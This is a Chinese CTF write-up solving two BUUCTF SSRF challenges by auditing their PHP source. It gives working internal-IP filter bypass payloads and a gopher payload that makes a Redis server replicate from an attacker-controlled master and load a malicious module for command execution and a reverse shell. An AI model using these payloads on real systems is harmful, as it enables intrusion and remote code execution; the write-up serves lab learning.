ssrf刷题——buu [第二章 web进阶]SSRF Training [网鼎杯 2020 玄武组]SSRFMe

[第二章 web进阶]SSRF Training

点击即可获得源码

php 复制代码
 <?php 
highlight_file(__FILE__);
function check_inner_ip($url) 
{ 
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); 
    if (!$match_result) 
    { 
        die('url fomat error'); 
    } 
    try 
    { 
        $url_parse=parse_url($url); 
    } 
    catch(Exception $e) 
    { 
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; 
    $ip=gethostbyname($hostname); 
    $int_ip=ip2long($ip); 
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
} 

function safe_request_url($url) 
{ 
     
    if (check_inner_ip($url)) 
    { 
        echo $url.' is inner ip'; 
    } 
    else 
    {
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        $output = curl_exec($ch); 
        $result_info = curl_getinfo($ch); 
        if ($result_info['redirect_url']) 
        { 
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch); 
        var_dump($output); 
    } 
     
} 

$url = $_GET['url']; 
if(!empty($url)){ 
    safe_request_url($url); 
} 

?> 

源码审计

get方式传参

是否存在url

url不为空就调用safe_request_url()函数

来看一下这个safe_request_url和check_inner_ip两个需要绕过的过滤函数

php 复制代码
function check_inner_ip($url) 
{ 
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url); 
    if (!$match_result) 
    { 
        die('url fomat error'); 
    } 
    //检查请求的url是否为正确的格式
    try 
    { 
        $url_parse=parse_url($url); 
    } 
    //parse_url 是 PHP 的一个内置函数。
    它用于解析 URL,并返回一个关联数组,包含了 URL 的各个部分,
    比如协议、主机名、路径等。
    parse_url 函数可以帮助开发者在处理 URL 时更方便地提取其中的信息,例如在这段代码中,它被用来解析用户输入的 URL。
    catch(Exception $e) 
    { 
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; 
    $ip=gethostbyname($hostname); 
    $int_ip=ip2long($ip);
    //ip2long 是 PHP 中的一个内置函数,用于将 IPv4 地址转换为对应的长整型数字。

IPv4 地址由四个十进制数(每个数范围在 0 到 255 之间)组成,用点分十进制表示(例如:"192.168.1.1")。
ip2long 函数将这种点分十进制表示的 IPv4 地址转换为一个长整型数字,方便进行比较和处理。
这个长整型数字可以更有效地存储和比较,通常用于 IP 地址的操作和计算。
 
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
} 
//这行代码是在检查给定的 IP 地址是否属于内部 IP 地址范围:

    ip2long('127.0.0.0'): 将 IPv4 地址 "127.0.0.0" 转换为长整型数字。
    >> 24: 对长整型数字进行右移 24 位,这相当于将 IP 地址的前 3 个字节移出,只留下第一个字节。
    == $int_ip >> 24: 比较经过右移操作的 "127.0.0.0" 的结果是否与输入的 IP 地址的前 3 个字节相同。如果相同,则说明该 IP 地址属于 "127.0.0.0/8" 的范围。

同样的逻辑被应用于其他内部 IP 地址范围:

    "10.0.0.0/8" 被右移 24 位后与输入 IP 地址的前 3 个字节进行比较。
    "172.16.0.0/12" 被右移 20 位后与输入 IP 地址的前 3 个字节进行比较。
    "192.168.0.0/16" 被右移 16 位后与输入 IP 地址的前 3 个字节进行比较。

如果给定的 IP 地址匹配了这些范围中的任何一个,则返回 true,否则返回 false。
 //综上所述,这里就是一个IP白名单,不允许我们输入类似127.*.*.*、10.*.*.*、172.16.*.*、192.168.*.*
php 复制代码
function safe_request_url($url) 
{ 
     
    if (check_inner_ip($url)) 
    { 
        echo $url.' is inner ip'; 
    } 
    else 
    {
        $ch = curl_init();  //初始化新的会话,返回 cURL 句柄,供curl_setopt()、 curl_exec() 和 curl_close() 函数使用
        curl_setopt($ch, CURLOPT_URL, $url); //访问的域名
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        //curl_setopt函数参数解释:https://www.cnblogs.com/lilyhomexl/p/6278921.html
        $output = curl_exec($ch); //执行一个cURL会话并且获取相关回复
        $result_info = curl_getinfo($ch); 
        //php curl请求在curl_exec()函数执行之后,可以使用curl_getinfo()函数获取CURL请求输出的相关信息
        if ($result_info['redirect_url']) 
        { 
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch); 
        //if的作用就是如果没有获取到信息,就重复获取,重复执行safe_request_url函数
//最后把exec后的数据dump出来
//var_dump($output);之后就出函数了
//接下来将parse_url后的url赋值给$url_parse
//如果parse_url执行失败,则返回false
        var_dump($output); 
    } 
     
} 

绕过

我们最终的目的是要curl 127.0.0.1/flag然后得到dump出来的数据

那么该怎么绕过这两重检测呢

parse_url函数的绕过

PHP: parse_url - Manual

此函数返回一个关联数组,包含现有 URL 的各种组成部分。如果缺少了其中的某一个,则不会为这个组成部分创建数组项。组成部分为:

  • scheme -- 如 http
  • host 域名
  • port 端口
  • pass
  • path   路径
  • query -- 在问号 ? 之后
  • fragment -- 在散列符号 # 之后

此函数并 不 意味着给定的 URL 是合法的,它只是将上方列表中的各部分分开。parse_url() 可接受不完整的 URL,并尽量将其解析正确。
*  注: 此函数对相对路径的 URL 不起作用。*

demo

php 复制代码
<?php
$url = "http://www.baidu.com/suning?v=1&k=2#id"; 
echo $url.'</br>';
$parts = parse_url($url);  
var_dump($parts);
?>

这是输出

但是如果我们输入http://www.baidu.com@2333.com/suning?v=1&k=2#id

那么结果就会变成

host就会变成@后面的字符

这样我们的host就可控了

回到题目

如果我们输入'http://127.0.0.1:80@baidu.com/flag.php'

这样也无法正确绕过

因为curl_getinfo()函数也无法解析成127.0.0.1

在前面再加一个@

这样curl_getinfo()函数解析的是127.0.0.1:80

而parse_url函数解析的host是www.baidu.com

这样就成功绕过

payload:

http://c47efe80-3429-4c17-afa8-b11ed8e4fa8f.node5.buuoj.cn:81/challenge.php?url=http://@127.0.0.1:80@www.baidu.com/flag.php

[网鼎杯 2020 玄武组]SSRFMe

php 复制代码
 <?php
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }

}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    if(!empty($url)){
        safe_request_url($url);
    }
}
else{
    highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

代码审计

和上一题的代码菀菀类卿

也是get方式传参

不对

是一模一样的过滤

试了一下

还是有点不一样

正则匹配不同 这里不仅支持http伪协议还支持https|gopher|dict

但是后面的匹配是正常的啊

看不懂

可能@被ban了?

不知道

还可以用0.0.0.0绕过

也可以用环回地址绕过

我自己试下来可以用的有

?url=http://0x7F000001/hint.php

?url=http://[0:0:0:0:0:ffff:127.0.0.1]/hint.php

?url=http://0.0.0.0/hint.php

------------------------------------------更新------------------------------------------

上面那个问题 大佬给出答案

然后我们终于来到第二步

php 复制代码
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
  highlight_file(__FILE__);
}
if(isset($_POST['file'])){
  file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}

有点不懂下一步的思路是什么

看佬的wp

这里提示 redis pass

要用 redis主从复制来打

redis主从复制

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。

redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据时就会通过主从复制复制到其它从redis。

所以我们这题的思路是,创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过 slaveof 命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。然后将恶意Redis主机上的exp同步到Reids从机上,并将dbfilename设置为exp.so。最后再控制Redis从机(slaver)加载模块执行系统命令即可。

需要用到的工具

redis-rogue-server

redis-ssrf

这个ssrf-redis是用于生成gopher伪协议的脚本

我们根据我们的需要修改

这里主机改成我们自己的vps的ip地址

端口需要和rogue-server.py里的端口相同

command改成我们需要rce的命令

这里的passwd改成他提示的root

(注意这里默认打开的exp.so的路径是tmp 记得要不改脚本 要不就是把rogue-server.py和exp.sod都放在tmp)

rogue-server.py主要是创建了一个监听端口为 6666 的恶意 Redis 服务器。当有客户端连接并发送特定命令(如 PING、REPLCONF、PSYNC 或 SYNC)时,服务器会返回相应的响应,其中包括了一个恶意的 PAYLOAD

(要把rogue-server.py和exp.so放在同一个目录下)

先生成gopher伪协议脚本

因为还需要在url中传参,会解码一次,所以还需要url编码一次

启动rogue-server.py 成功执行

就成功反弹shell

然后分析一下这个gopher伪协议

gopher://0.0.0.0:6379/_*2 $4 AUTH $4 root *3 $7 SLAVEOF $14 '**********' $4 6666 *4 $6 CONFIG $3 SET $3 dir $5 /tmp/ *4 $6 config $3 set $10 dbfilename $6 exp.so *3 $6 MODULE $4 LOAD $11 /tmp/exp.so *2 $11 system.exec 14 cat{IFS}/flag *1 $4 quit

总结一下

虽然跟着wp复现完了

但是对于redis主从攻击还是有点云里雾里

哪天要手动构造一下gopher脚本

自己复现一下这个漏洞

相关推荐
晨曦_子画3 分钟前
编程语言之战:AI 之后的 Kotlin 与 Java
android·java·开发语言·人工智能·kotlin
孤客网络科技工作室25 分钟前
AJAX 全面教程:从基础到高级
android·ajax·okhttp
Mr Lee_2 小时前
android 配置鼠标右键快捷对apk进行反编译
android
顾北川_野2 小时前
Android CALL关于电话音频和紧急电话设置和获取
android·音视频
&岁月不待人&2 小时前
Kotlin by lazy和lateinit的使用及区别
android·开发语言·kotlin
Winston Wood4 小时前
Android Parcelable和Serializable的区别与联系
android·序列化
清风徐来辽4 小时前
Android 项目模型配置管理
android
帅得不敢出门5 小时前
Gradle命令编译Android Studio工程项目并签名
android·ide·android studio·gradlew
problc5 小时前
Flutter中文字体设置指南:打造个性化的应用体验
android·javascript·flutter
帅得不敢出门16 小时前
安卓设备adb执行AT指令控制电话卡
android·adb·sim卡·at指令·电话卡